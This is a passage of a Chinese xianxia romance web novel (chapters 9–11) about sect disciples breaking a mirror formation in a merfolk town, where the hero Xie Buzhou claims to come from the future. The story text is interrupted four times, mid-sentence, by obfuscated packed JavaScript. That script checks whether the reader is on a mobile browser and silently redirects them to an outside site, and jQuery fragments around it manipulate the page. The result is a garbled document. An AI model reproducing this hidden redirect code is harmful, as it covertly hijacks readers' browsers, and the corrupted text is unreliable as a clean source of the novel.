谢不舟反应极快。他甚至没管自己是否被波及,第一时间抬手,用手掌紧紧捂住了翩翩的耳朵。 同时周身灵力爆发,形成一道淡金色的屏障,将两人护在其中。 离歌见状,发出一声冰冷的嗤笑。 她周身开始散发出不祥的暗红色光芒,随着她的情绪剧烈波动,周围原本色彩斑斓的珊瑚丛,竟以肉眼可见的速度迅速变得赤红如血。 一股水流凭空涌现,如同巨手,朝着谢不舟和翩翩狠狠拍来。 “往旁边站。”谢不舟的一句话毕。 翩翩往左边一扑,摔在地上,避开了离歌的攻击。 但—— 她看着同样闪到一旁的谢不舟,心里充满疑惑。 虽然这鲛人她不能对付。 但凭谢不舟的实力,轻轻松松,完全碾压也不为过。 那他又为何频频不出手呢? 翩翩爬起,飞速躲到谢不舟身后。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495781|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看来这个谢不舟身上隐藏的,甚至比她还要多。 ————— “所以,诸位师弟师妹昨夜在阵法之中,可有什么新的发现?” 次日清晨,众人再次汇聚在沧溟长老府邸的偏厅,继续商讨对策。 经过昨夜,显然大部分人都通过推门开窗,亲眼见证了那超越常理的异常景象,对镜宫的真实性再无怀疑。 然而,当被问及具体发现了什么线索时,得到的回答却令人沮丧。 “没有。” “不知道。” “除了那片诡异的歌声和无数面镜子,什么都没找到。” 师兄师姐们纷纷摇头,面露无奈。 对于此情此景,一向主持大局、决策果断的谢不舟,竟也罕见地陷入了沉默。 因为,好巧不巧—— 他对于昨晚陷入阵法之后发生的任何事情,没有任何记忆。 他的目光不由自主地转向站在角落,正低头研究自己鞋尖的翩翩。 今早醒来时,她说过的话仿佛还在耳边: “师兄与其怀疑我,不如自己去查明到底是什么原因,让你时而清醒,时而……判若两人。” 当时,熟悉的善恶剑尖正抵在她纤细的脖颈上,她闭着眼,语气平静却带着疲惫。 “师兄是觉得,我一个杂役无灵根的弟子,能如此神通广大,操纵师兄的记忆并且不留任何痕迹吗?” 她叹了口气,那叹息声轻得像羽毛,却重重落在谢不舟心上。 “师兄,我没有做过的事,是不会屈打成招的。” 回想起这些,谢不舟握着剑柄的手指微微收紧,眸色深沉。 就在厅内气氛凝滞之时,年纪最小的陈澜小师弟跳了出来,试图活跃气氛:“哎呀,既然我们这么多人都确认了夜晚镜子的诡异,这不就是天大的进展嘛!” 年纪最小,第一次出任务,照理说应该担惊受怕,希望早日解决,早点会宗门完事最好。 但陈澜明显乐观许多。 他眨巴着大眼睛,提议道:“至于下一步嘛……我们不如就这阵法一事,直接去问问那位沧溟长老?” “这鲛人长老,总不会无缘无故在自己家里布下这么个镜宫吧?总得有个原因不是?不然怎么也说不通啊!” “对啊!” 一向与灵兽为伴、心思相对单纯的聆音师姐立刻附和,“陈澜师弟说得有道理。这镜宫布在长老府邸,他定然知晓内情。我们去问个明白,总好过我们在这里无头苍蝇般乱撞。” 众人闻言,纷纷觉得有理。 与其在此徒劳猜测,不如直接找上正主,问个水落石出。 很快,意见达成一致。 以谢不舟为首,众人不再迟疑,决定即刻出发,前往正殿,寻那沧溟长老,当面对峙。 翩翩混在人群之中。 难免为众人感到担忧。 参考前世,他们都是第一次出任务,下凡界。 所以什么都想着直来直往,横冲直撞。 但,如果那阵法真的有问题,性格如此圆滑世故的沧溟长老真的会和他们说实话吗? 更糟糕的是, 万一因此激怒了沧溟…… 翩翩抬眼,看着走在最前方的谢不舟。 她的想法与担忧,谢不舟定然也是知情。 从进入鲛人镇起,他看似是众人当中的领导者,但实则游离于整个任务之外。 再加上之前怪异的举动…… 他是……看出了什么不对劲吗? 9. 第九章 翩翩悄咪咪凑到谢不舟身边,动作放得很轻,像是怕惊扰了什么。 她压低声音,气息若有若无地拂过谢不舟的耳廓:“师兄,你觉得从沧溟长老那里,我们真的能问出什么吗?” 这话问得小心翼翼,带着三分的试探。 谢不舟目视前方,侧脸线条在廊下光线里显得冷硬。 他连眼神都没扫给翩翩,只吐字清晰地回答,不多一分热络,不少一分冷淡:“有什么结果,只有问过才能知道。” 翩翩:“……” 得,又是标准答案。 她在心里默默翻了个白眼,脸上却扯出两声毫无灵魂的干笑:“哈哈,师兄说得对。” 这已经是她第无数次试图撬开谢不舟的话匣子,也是第无数次宣告失败。 经过这几日的观察与碰壁,翩翩已经在内心将谢不舟精准地分为了“白日谢”和“午夜谢”两个独立人格。 白日的谢不舟,就是眼前这款。 对她充满防备与隔阂,惜字如金,公事公办,仿佛多跟她说一个字都会破坏他天才修士的格调。 而午夜那会儿…… 嗯,虽然同样话少,但好歹能在一个屋檐下待着,虽然气氛依旧沉闷得像暴雨前的低气压,但至少不会让她觉得下一秒就要被剑气扫出门去。 总结来说,一个是被迫组队互相嫌弃的队友。 一个是同住一个山洞不得不偶尔交流,时不时还要占你便宜的闷骚。 生活不易,翩翩叹气。 跟在后面不远处的聆音,同样没闲着。 她用手肘暗戳戳地捅了捅身边体型富态的胖师兄,声音压得极低,带着少女特有的八卦与困惑:“喂,胖师兄,你觉得他们,也就是翩翩师妹和七师兄,真的和我们想得一样嘛?” 聆音也与同门师兄看对过眼,有过懵懂的爱慕,她蹙着眉,“我总觉得,他们之间不像是有感情的,倒像是,不得不被绑在一起的仇人呢?” 胖师兄闻言,那张圆润的脸上顿时露出一种“你还是太年轻”的高深莫测。 他捋了捋并不存在的胡须,老气横秋地答:“你懂什么?男人就是这样。尤其我们七师兄,那可是天才中的天才,剑宗未来的门面!在外面,肯定都是收着来,要维持形象,要冷酷,要不动声色。但平时两人单独相处的时候嘛……” 他嘿嘿笑了两声,那笑声拐着弯,带着点难以言说的猥琐意味,“……那必然是天雷地火,冰山融化,热情似火……” 聆音面无表情地看着他,默默从储物袋里摸出一张静心符,考虑着是不是该贴在他那宽阔的脑门上:“师兄,不会揣测可以不说。” 她叹了口气,觉得跟这位师兄讨论风月,简直是对牛弹琴。 正当这一行人各怀心思,说说八卦,聊聊镜宫的时候,一行人走到一处僻静的院落外。 “唉,要是沧溟长老这里有什么突破就好了。”还没进前,陈澜就双手合十,默默祈祷。 一阵白光闪过。 称心如意镜再一次恢复了往常的模样。 突然,一声压抑着怒火的呵斥如同惊雷,猛地从院内炸响,打破了周遭的宁静: “闭嘴!你现在最要紧的,是保住你肚子里的孩子!” 这声音属于沧溟长老,但与之前见面时那种温和,沉稳嗓音截然不同。 此刻这声音尖锐、充满了毫不掩饰的恐吓与颐指气使,像是终于撕破了长久以来精心维持的温和假面,露出了内里狰狞的一角。 门外瞬间静默。 胖师兄最先反应过来,用一种“看吧我就知道”的语气,对着聆音挤眉弄眼,声音低得只剩气音:“我说什么来着?男人都是两面的。” 在家是暴君,在外是君子,这套路他熟。 院内,沧溟似乎也察觉到了门外的动静,那骇人的怒斥声戛然而止。 片刻后,院门“吱呀”一声被拉开,沧溟长老走了出来。 此刻的他,脸上已然堆满了和煦的笑意,与刚才那声怒喝的主人判若两人。 只是那笑容深处,似乎带着一丝不易察觉的僵硬与 ……瘆人。 “几位仙长,”他拱了拱手,语气带着恰到好处的歉意,“让大家见笑了。内子近日因身体不适,情绪有些不稳,我这……也是一时情急。” 年纪最小的陈澜,好奇心重,个子又矮,透过沧溟身侧的缝隙,眼疾手快地往院里瞥了一眼。 只见那位身怀六甲的如夫人正背对着门口,肩膀微微耸动,一只手正慌忙地擦拭着自己的脸颊。 那动作,分明是在暗地里抹泪。 陈澜年纪小,心思单纯,藏不住事,当下眼神里就带上了明显的斥责,直勾勾地盯在沧溟身上。 心里愤愤:果然知人知面不知心,渣男! 沧溟长老敏锐地注意到了陈澜的目光,脸上那尴尬的笑容又深了几分,几乎要挂不住。 聆音反应极快,上前一步,将陈澜挡在自己身后,隔绝了沧溟的视线。 她语气沉稳,带着不容置疑的严肃,开门见山:“沧溟长老,我们来的时候,你可没告诉过我们,你这宅院之中……会有午夜镜宫。” 她这话说得义正辞严,目光如炬,试图从对方的表情里找出破绽。 翩翩在一旁冷眼看着,心中毫无波澜。 她混迹江湖…… 啊不,是混迹修真界底层摸爬滚打多年,对这种道貌岸然、擅长找借口推脱的人见得多了。 她几乎能猜到沧溟接下来会怎么解释。 果然,沧溟脸上没有丝毫慌乱,反而露出一副“你们可冤枉死我了”的委屈表情,陪着笑解释道:“这位仙子呀,你可就冤枉我了。” “实在是这失魂症闹得整个镇子都人心惶惶,我这不也是没得办法嘛!” “为了确保安全,尤其是让我这夫人能顺利生产,这才特意请了位懂阵法的朋友,在宅院四周布置了一些小小的防护阵法。” “喏——” 他说话间,恰好看到抱着胳膊靠在远处廊柱下的见愁,立刻伸手指了过去,语气自然无比:“阵法就是这位见愁小兄弟帮忙完成的。他是宗门有名的阵法好手,年轻有为啊!” 他给出的理由合情合理,逻辑自洽,仿佛一切真的只是出于对夫人和未出世孩子的爱护。 被点名点姓的见愁停了下来,挠了挠他那头乱糟糟的短发,冲着众人“嘿嘿”发笑,露出一口白牙,表情纯良又带着点傻气。 翩翩心中冷笑。 我说呢。 为什么之前我和谢不舟陷入迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495782|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵,这见愁能如此轻而易举、轻车熟路地带我们离开,仿佛在自家后院散步一样。 原来他就是这阵法的创造者! 这哪里是偶遇的热心镇民,分明就是沧溟安排好的人。 聆音暗暗握紧了拳头,指节有些发白。 她显然没有完全相信沧溟这套滴水不漏的话术,但一时也找不到话来反驳。 在场的其他人,包括一直沉默的谢不舟,心里也都埋下了一颗怀疑的种子。 这沧溟长老,绝不像他表现出来的那么简单。 待到众人怀揣着满腹疑虑往回走时,见愁也像个甩不掉的尾巴似的,笑嘻嘻地跟了上来。 他在众人旁边来回踱步,一会儿凑到聆音旁边,一会儿又跳到陈澜身边,语气带着点无辜的抱怨: “诸位仙长,这……这也不能全怪我吧?你们之前也没问过我关于阵法的问题呀?要是你们早点问,那我,不是就可以早点说了吗?” “我这个人,最是实诚,从来不骗人的!” 他眨巴着眼睛,努力做出真诚的表情,可惜配上他那略显跳脱的气质,实在没什么说服力。 聆音仍是双手抱臂,懒得搭理他,显然还在为被蒙在鼓里而生气。 陈澜心思单纯,没想那么多弯弯绕绕,闻言只是苦着一张脸,唉声叹气:“唉,既然这阵法是这么回事,那我们的线索不就又断了吗?难道我们真的要等到那位如夫人生下孩子,才能搞清楚这失魂症的原因?” 他仰头望天,一副生无可恋的表情,“我师姐还给我做了好吃的烧鸡,就等我这次任务回去就可以吃到了!结果现在……辟谷辟得我整个人都不好了!” 比起任务陷入僵局的挫败感,陈澜显然更关心他那遥遥无期的烧鸡。 “未必要等到那时。” 一个清冷的声音突然响起,打破了略显低迷的气氛。 是谢不舟。 他从离开沧溟的院落就一直没开口,此刻冷不丁地发言,瞬间吸引了所有人的目光。 翩翩刚想开口追问“不等到那时还能怎么办”,话还没出口,就被一位匆匆跑来的侍女打断了。 那侍女行色慌张,脸色有些发白,她快速扫视了众人一圈,目光最终落在了谢不舟身上,然后像是下定了什么决心一般,猛地将一张被揉得有些发皱的纸条塞进了谢不舟手里。 做完这一切,她如同受惊的兔子,头也不回地迅速跑开了,身影很快消失在廊庑尽头。 “哎!你别走呀!” 陈澜下意识喊了一声,觉得那侍女行为诡异,必然知道些什么内情。 谢不舟垂眸,摊开手掌。 那张纸条材质普通,像是从什么本子上随意撕下来的,但上面的字迹却让所有人的呼吸都微微一滞。 那是两个歪歪扭扭的大字,颜色并非寻常墨汁的漆黑,而是一种或深或浅的…… 蓝色。 那蓝色并不均匀,仿佛是用什么液体勉强书写而成,带着一种难以言喻的凄艳与不祥。 在场的人都听说过那个古老的传说—— 鲛人,泣泪成珠,其血……幽蓝。 纸条上,那蓝色的字迹,赫然是—— 救命。 而在刚刚,又有一道白光从称心如意镜里闪过。 10. 第十章 聆音两根手指捏着那张写着鲛人血字的纸条,左看右瞧,秀气的眉毛拧成了结。 “你们觉得,” 她压低声音,像是怕惊扰了这水下宫殿里无处不在的窥探,“这玩意儿到底是谁偷偷塞给我们的?” 没人能回答。 那纸条上的字迹,用的是传说中的鲛人血,内容更是没头没尾,指向模糊。 可聆音心里已然有了倾斜。 “我还是觉得,”她将纸条拍在桌上,发出“啪”一声轻响,斩钉截铁地得出结论,“这是那位被关着的如夫人给我们的求救信号!” 这想法不无道理。 主要衬托之下,那位沧溟长老的所作所为,实在很难跟好人二字挂钩。 人心便是如此。 若一个恶贯满盈之徒某天心血来潮,随手做了件善事,世人便会觉得他尚有几分善念,甚至开始为他过往的罪行寻找苦衷,脑补出几分悲情色彩。 但若一位德高望重的善人,某日被撞见做了件与他光辉形象不符的、哪怕只是稍有瑕疵的小事,立刻便会引来滔天质疑,觉得他往日种种皆是伪装,连呼吸都透着道貌岸然。 沧溟长老目前,就光荣地步入了后者的行列。 “嗯嗯,有道理,我也觉得是如夫人。” 陈澜翘着腿,大大咧咧地坐在房间中央那张巨大的贝壳桌子上,双手托腮,一副“聆音师姐说什么都对”的狗腿模样。 他忽然想起什么,脑袋一扭,看向旁边静立如松的谢不舟,好奇道:“对了,七师兄,你之前说未必,是什么意思?难道这事还有更直接的解决方法?” 谢不舟,掌门亲传弟子排行第七,也是老幺。 平时除了谢师兄,大家也喜欢叫他七师兄。 一瞬间,几道目光都聚焦在谢不舟身上。 谢不舟神色不变,沉稳开口:“我是在想,鲛人镇发生的这一切,根源真的全在沧溟长老身上吗?” 他顿了顿,感受到翩翩投来的、带着探究的视线,话锋不着痕迹地一转,“不过,眼下线索不足,妄下判断为时过早。当务之急,还是先弄清沧溟长老布下这阵法,究竟意欲何为。” 陈澜闻言,立刻唉声叹气起来,整个人像没了骨头般瘫进一张铺着柔软海草的椅子里:“探索阵法,说得轻巧……但这阵法也太邪门了!为什么我们每次进去,都像被扔进了不同的镜宫里,永远找不到彼此,永远是一个人在那里鬼打墙!” “再这么下去,我没被阵法困死,就先被自己逼疯了!” 一直埋头苦思的胖师兄猛地一拍自己头秃的脑门,吸引了众人的注意:“在阵法里想靠走路找到同门,确实难如登天。这阵法的核心恐怕就是迷失二字,我们感觉走了很远,说不定一直是在原地兜圈子。” 他绿豆似的小眼睛里闪过精光:“但如果我们换个思路,不靠走,而是靠联络呢?” “联络?”聆音疑惑。 “对!”胖师兄兴奋地搓搓胖手,“大家的玉玦,都还在身上吧?” 玉玦,玉宸宫弟子入门时统一分发的身份凭证,人手一块,绝无重复。 此物不仅是辨别身份、领取每月灵石和修炼资源的凭证,更内蕴玄机,具备千里传音之妙用。 亲传弟子谢不舟的玉玦,通体莹白,刻着一个清隽的“舟”字;内门弟子聆音和胖师兄的,刻的是“内”字;陈澜等外门弟子,刻的是“外”字。 轮到全场唯一的杂役弟子翩翩时,她默默从怀里掏出自己的那块灰扑扑的玉玦。 只看了一眼,便陷入了长久的沉默。 只见那玉玦材质普通,做工粗糙,上面清晰地刻着一个大字——役。 翩翩:“……” 她内心此刻有无数海底泡泡翻涌破裂。 这负责刻字的管事长老,选字的时候就不能动动他尊贵的大脑,选个“杂”字吗? “役”这个字,真的,非常,极其,特别地侮辱人啊! 她面无表情地将玉玦攥紧,心底幽幽叹了口气。 看来今晚他们就要靠着玉宸宫玉玦,对着府邸一探究竟了。 ——— 转眼到了午夜,又到了该进入那诡异阵法鬼打墙…… 哦不,是探索的时候了。 谢不舟从闭目打坐中缓缓回神,周身流转的灵光敛入体内。 他睁开眼,几乎是下意识地,第一时间就精准地落在了角落里的翩翩身上。 他起身,极其自然地伸出手。 就要像前几次那样,去拉翩翩的手腕,准备一同进入阵法。 是午夜谢。 然而这一次,他的手却落空了。 翩翩看起来不再是那个笑嘻嘻,怕死且怂包的模样。 她站在原地,身形未动,只是微微抬眸,看向他。 那眼神,不再是平日的温吞,反而浸透了一股毫不掩饰的审视意味。 谢不舟伸出的手僵在半空,他愣了愣,似乎有些不解,呆呆地问:“我们……不去阵法里面吗?” “谢师兄。” 翩翩开口了,语气是前所未有的沉静,“我现在,也不知道该不该叫你谢师兄了。” 她说着,动作利落地抬手,“啪”地一声,隔开了谢不舟尚且悬在半空的手,自己则向后一靠,倚在了那张椅子上,姿态带着一种疏离的戒备。 不等他再开口,翩翩先发制人。 她速度快得惊人,显然是早有准备。 只见她手腕一翻,数张泛着金光的符箓如离弦之箭激射而出,“嗖嗖”几声,精准地贴在了谢不舟周身的地面。 嗡—— 一道淡金色的光罩瞬间升起,如同一个倒扣的琉璃碗,将谢不舟严严实实地困在了中央。 符箓上的朱砂纹路亮起刺目的光芒,强大的禁锢之力弥漫开来。 翩翩双手快速结印,举过头顶,全力驱使着符咒,确保其效力达到最大。 她做完这一切,才微微喘口气,看向光罩内的谢不舟,唇角勾起一抹带着玩味的笑。 “我自然知道,以你谢不舟、玉宸宫亲传七弟子的能力,要挣脱这区区禁锢符,不过是挥一挥手的事。” 她语速不快,却字字清晰,“但我如果就这样继续装傻,当做对你的异常毫无察觉,那实在不是我的性格。” 她深吸一口气,问出了那个盘旋在心头许久的疑问: “说吧,你到底是谁?” 对于翩翩而言,弄清楚鲛人镇的谜团,解救可能的受害者如夫人,固然重要。 但眼前这个“谢不舟”,这个可能会杀掉她、还时不时流露出偏执与癫狂的谢不舟,显然对她眼下的生存构成了更直接、更迫切的威胁。 她紧紧盯着光罩内的身影,心脏在胸腔里擂鼓。 她在猜测着对方会作何反应—— 是继续装傻充愣,扮演那个温润守礼的七师兄? 还是像夜晚进入阵法里那个偶尔失控的“午夜谢”一样,沉默以对,用那种令人毛骨悚然的眼神看着她? 跟她做两心相悦之人才能做的事。 空气仿佛凝固了,只剩下符箓光芒流转的细微嗡鸣。 被禁锢符困住的谢不舟,脸上最初的错愕与茫然,如同潮水般缓缓褪去。 他没有试图强行破开符箓—— 尽管翩翩知道,这对他而言真的不费吹灰之力。 他只是静静地站在那里,隔着淡金色的光罩,回望着翩翩。 那眼神复杂难辨,有无奈,有一丝了然的苦涩,更有一种…… 近乎偏执的深沉。 良久,他轻轻叹了一口气。那叹息声很轻,却像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495783|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着千钧重量,砸在翩翩的心上。 “我知道,” 他开口,声音低沉而清晰,“这些,迟早都瞒不过你。” 他的承认,让翩翩呼吸一窒。 “但我确实是谢不舟。” 他强调着,目光一瞬不瞬地锁住翩翩,那眼神里的情感太过浓烈,几乎要将翩翩吞噬,“对你,我会始终……坦言相告。” 那“坦言相告”四个字,他说得极慢,带着一种近乎虔诚又异常执拗的意味。 翩翩被他这眼神看得后背汗毛倒竖,忍不住打了个小小的哆嗦。 这都什么跟什么? 现在是演深情告白的时候吗? 重点是你是谁啊大哥! “但我不是你所认识的、现在的这个谢不舟。” 他终于说出了关键,语速平稳,却像是抛下了一颗更重磅的爆破符,“而是……来自更远未来的,谢不舟。” 什么? 更远未来的谢不舟? 什么意思? 她怎么一点也听不明白? 就在翩翩想多问几句,她怀里的玉玦,突然毫无预兆地发起热来。 不仅是她的,被困在光罩里的谢不舟,腰间的玉玦也同时亮起了微光。 紧接着,一阵嘈杂混乱、夹杂着惊呼和喘息的声音,从两人的玉玦中同时传了出来—— “喂喂?听得到吗?” “七师兄?翩翩师妹?胖师兄?聆音师姐?” “有人在吗?吱个声啊!” 这是陈澜那极具穿透力的少年嗓音,带着显而易见的焦急。 “哎哟喂……这什么鬼地方,绕得我头都晕了,刚才差点撞上一群发光的水母,吓死我了!” 这是胖师兄气喘吁吁的声音。 “胖师兄你先别说了!省点力气找路!七师兄,翩翩,你们能听到吗?我们现在好像都在阵法里,但这次玉玦好像能联系了!” 聆音的声音带着惊喜和急切。 “听到了。”谢不舟立刻回应,声音恢复了平日的沉稳,仿佛刚才那场惊心动魄的掉马审讯从未发生。 “我和翩翩在一起,暂时安全。你们各自情况如何?能否描述周围环境?” 翩翩看着瞬间进入状态、指挥若定的谢不舟,狠狠磨了磨后槽牙。 好,很好。 谢不舟,不管你是来自哪里,来自哪个犄角旮旯的未来,这笔账,咱们先记下! 等解决了这鲛人镇的破事,再慢慢算。 她悻悻地挥手撤去了禁锢符。 淡金色光罩消散,谢不舟完好无损地走了出来,甚至还顺手整理了一下略微有些褶皱的衣袍,动作自然流畅。 翩翩瞪了他一眼,捏紧了自己的玉玦,加入了这场突如其来的玉宸宫内部紧急通讯商讨。 “我这里有很多会发光的镜子,折射得五颜六色的,晃得眼晕!” 陈澜的声音带着点新奇。 “我这边是一片漆黑,只有远处有点点磷火似的绿光,感觉阴风阵阵的……” 聆音的声音有点发虚。 “我……我好像在一片废弃的沉船里。”胖师兄描述着。 众人众说纷纭,翩翩又对阵法毫无研究。她抓了抓谢不舟的衣袖。 “谢师兄说过,要对我,知无不言,言无不尽,对吧?” 谢不舟点头。 他习惯性想要拉住翩翩的手,但伸到一半,看看翩翩的认真神情。 又灰溜溜收了回去。 “这阵法,师兄可有办法解决?” 翩翩果断地提出了要求。 谢不舟在思索,如墨的眉眼间似有犹豫。最后,他突然想明白了什么。 对着翩翩—— 郑重点了点头。 他似乎想出了法子。 11. 第十一章 谢不舟指尖并拢,灵力在他指尖萦绕,犹如掌心微弱萤火。 他目光扫过周遭看似寻常的深海景致,那艘沉船的轮廓在浓郁如墨的黑暗里若隐若现,寂静得只剩下水流缓慢拂过的微声。 不对劲。 这阵法绝非寻常困阵,环环相扣,阵眼隐匿得近乎完美,带着一种古老而精妙的恶趣味。 他眼尾微挑,掠过一丝极淡的兴味。 那个一见面对他们就示弱,几乎将“我很弱,请不要伤害我”刻在脑门上的见愁…… 来历恐怕比这鲛人镇还要深。 一个药王谷弟子,再如何精通阵法,也绝无可能布下能悄无声息困住玉宸宫一众内门弟子的局。 这手笔,倒更像…… “谢师兄?” 翩翩见他久未言语,忍不住轻声唤道。 谢不舟回神,笑了下,“这阵法有些门道,需得我们众人合力,方能破解。” “好。” 翩翩点头,并无异议。 与此同时,他腰间那枚玉玦接连震动起来。 里面传出聆音师姐清冷中带着急切的询问,胖师兄咋咋呼呼的“怎么办”,还有陈澜那小子试图镇定却掩不住慌张的声音。 总而言之,大家都在问同一个问题。 “七师兄,我们该怎么做?” 阵法之道,通俗解释,破阵可以分为两种情况。 第一种,暴力破解。 当破阵者修为明显碾压创造阵法者,则可以依靠自身修为直接破解阵法。 然而这种阵法,一被创造出来,便遭到了阵法爱好者的一致反对。 阵法阵法,没有阴阳五行,没有八卦解密,又怎么能叫做阵法。 如此一来,他们阵法爱好者又与其他那些粗鄙不堪,只知用暴力解决问题的修士有何区别? 因此,这种阵法仅见于初学者,以及……修为颇高又懒得动脑的大能。 第二种,则是更为常见的法阵。 遵循奇门特有的八卦,只要识破阵究竟为何物,找到阵眼,并进行攻破,普通炼气期的弟子都有可能破除化神期大能的阵法。 也是诸多阵法宗门每年入门考核的核心内容。 眼下,显然他们遇到的,是第二种。 谢不舟略一顿,声音从容:“翩翩……诸位,听我指引,各自往阵法边沿对轴线去,寻八个方位。” 众人依言而动。 虽在阵中无法相见,却能通过玉玦感知彼此移动。 谢不舟则带着翩翩,不紧不慢地走向最后一个方位—— 东南角。 阴阳八卦,流转不息。 这阵法的核心奥妙,便藏在这方寸格局之中。 而他们所处的这片鲛人镇幻影,正卡在八卦阵中一个极其刁钻的节点上,虚实交错,如同…… 一面隐藏极深的镜面。 “师弟,” 谢不舟通过玉玦呼唤胖师兄,“你那边能看到什么?” 胖师兄那边传来他挠头的声音,憨憨的:“没啥不同啊七师兄,还是那艘破船,就是……好像离我更近了点?” “很好。” 谢不舟眸光一闪,“现在,站到船头去。其他人,无论你们眼前是何景象,皆面朝师弟所在方位——” 他声音陡然一沉:“合力,击!” 言出法随。 刹那间,八道强弱不一,却同源而出的灵力自不同方位倾巢而出,汇向那虚幻的船头一点。 “哐当——咔嚓!” 一声清脆至极的碎裂声响起,不似金石交鸣,倒像是无数玉镜同时被击穿的声音。 周遭的景象如同被打碎的镜面,哗啦一声,寸寸剥落、消散。 黑暗褪去,扭曲的水流恢复正常。 众人只觉眼前一花,定睛再看时,才发现他们哪是在什么深海荒镇兜圈子,分明一直站在沧溟长老那宽敞却阴森的走廊之中。 周遭是精致华美的称心如意镜,映照着他们有些错愕的脸庞。 原来这困住他们的阵法,本身就是一面巨大的镜子,将他们困在反射出的虚幻空间里。 午夜徘徊,不得其门而入。 “好家伙!原来是这老鲛人搞的鬼!” 胖师兄第一个跳脚,怒气冲冲,“走!找那沧溟长老对峙去!” 聆音师姐柳眉微蹙,清丽的面容上满是疑惑:“这阵法显然是为了阻拦我们午夜靠近府邸内部……可这是为何?” 陈澜见阵法已破,高兴得一蹦三尺高,满脸劫后余生的兴奋。 他下意识看向他最崇拜的七师兄,准备接收一个赞许或指示的眼神。 却发现他家七师兄的目光,正一错不错地落在身旁的翩翩姑娘身上,那眼神…… 复杂得让他看不懂。 陈澜撇撇嘴,默默把到了嘴边的“七师兄好厉害”咽了回去。 他发现了,只要翩翩在,他就永远只能看到他家七师兄的侧脸。 啊啊啊啊,年纪到了,可以谈恋爱了,很了不起吗? 还不到谢不舟腰腹的陈澜愤愤不平。 “管他为什么!不想让我们知道,我偏要知道!” 胖师兄傲气心性,好奇心瞬间压倒了一切。 他摩拳擦掌就要跟着众人往府邸深处冲。 就在这时,本该走在最前方开路的谢不舟,脚步却是一个趔趄,猛地伸手扶住了旁边冰冷的镜子。 “翩翩……” 他声音低了下去,带着一种显而易见的虚弱。 翩翩心头一跳,有种不好的预感瞬间攫住了她。 她转头,只见谢不舟脸色苍白如纸,连那总是噙着笑意的唇也失了血色,额角渗出细密的冷汗。 “谢不舟?你……” 他晃了晃脑袋,似乎想保持清醒,语速加快,却断断续续:“我可能……就陪你……到这里了。” 啊?翩翩傻了眼。 这刚破阵,正要直捣黄龙呢! 关键时候掉链子? 不会这么倒霉,千辛万苦换回来的这个听话又好用的“午夜谢”,这就要下线了? 换那个冷心冷肺、说不定还会把她推出去挡刀的白日谢不舟回来? “你……要小心……” 谢不舟呼吸急促起来,目光落在她纤细的脖颈上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495784|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那里,昨日被善恶剑抹出的那道浅淡红痕尚未完全消退。 他眸子垂了下去,浓密的睫毛在眼下投出一片阴影,用尽最后力气,几乎是以气音挤出几个字: “如果……必要……可以……威胁……那个……我……” 翩翩屏住呼吸,凑近去听。 “……记住……他……弱点……在……左眼……” 话音未落,他扶着她手臂的手猛地一松。 再抬眼时,那双眼睛里所有的虚弱、关切、挣扎乃至那一丝不易察觉的爱意—— 都已褪得干干净净。 只剩下一片漠然的、如同万年寒冰的平静。 白日谢冰冷地扫了翩翩一眼,仿佛在看一件无关紧要的死物。 然后,他若无其事地站直身体,甚至理了理并微乱的衣袖,越过她,沉默地跟上前面众人的脚步。 翩翩站在原地,看着他陡然变得冷硬的背影。 左眼…… 她默默记下了这个关键词。 众人再往前,赫然便是白日里见到沧溟长老训斥那位如夫人的地方。 然而此刻,这里的景象已与白日截然不同。 深海的高处,原本该是平静水流的地方,此刻竟出现了一个巨大的、缓慢旋转的漩涡。 漩涡中心,沧溟长老悬浮其中,宽大的衣袍在激流中猎猎鼓动。 而那位美丽的如夫人,则倒在漩涡下方的地面上,双手死死捂着隆起的腹部,面容因极致痛苦而扭曲,发出无声的哀嚎。 更令人惊骇的是,一股浓郁如实质的、带着淡淡白光的气息,正从如夫人腹中被强行抽出。 像是扭曲的光带,源源不断地汇入漩涡中心沧溟长老的体内。 “救……救救……我的孩子……” 他竟在吸取如夫人腹中之物! “妖孽敢尔!” 陈澜年纪最小,血气方刚,见此瘆人场景,哪里还按捺得住。 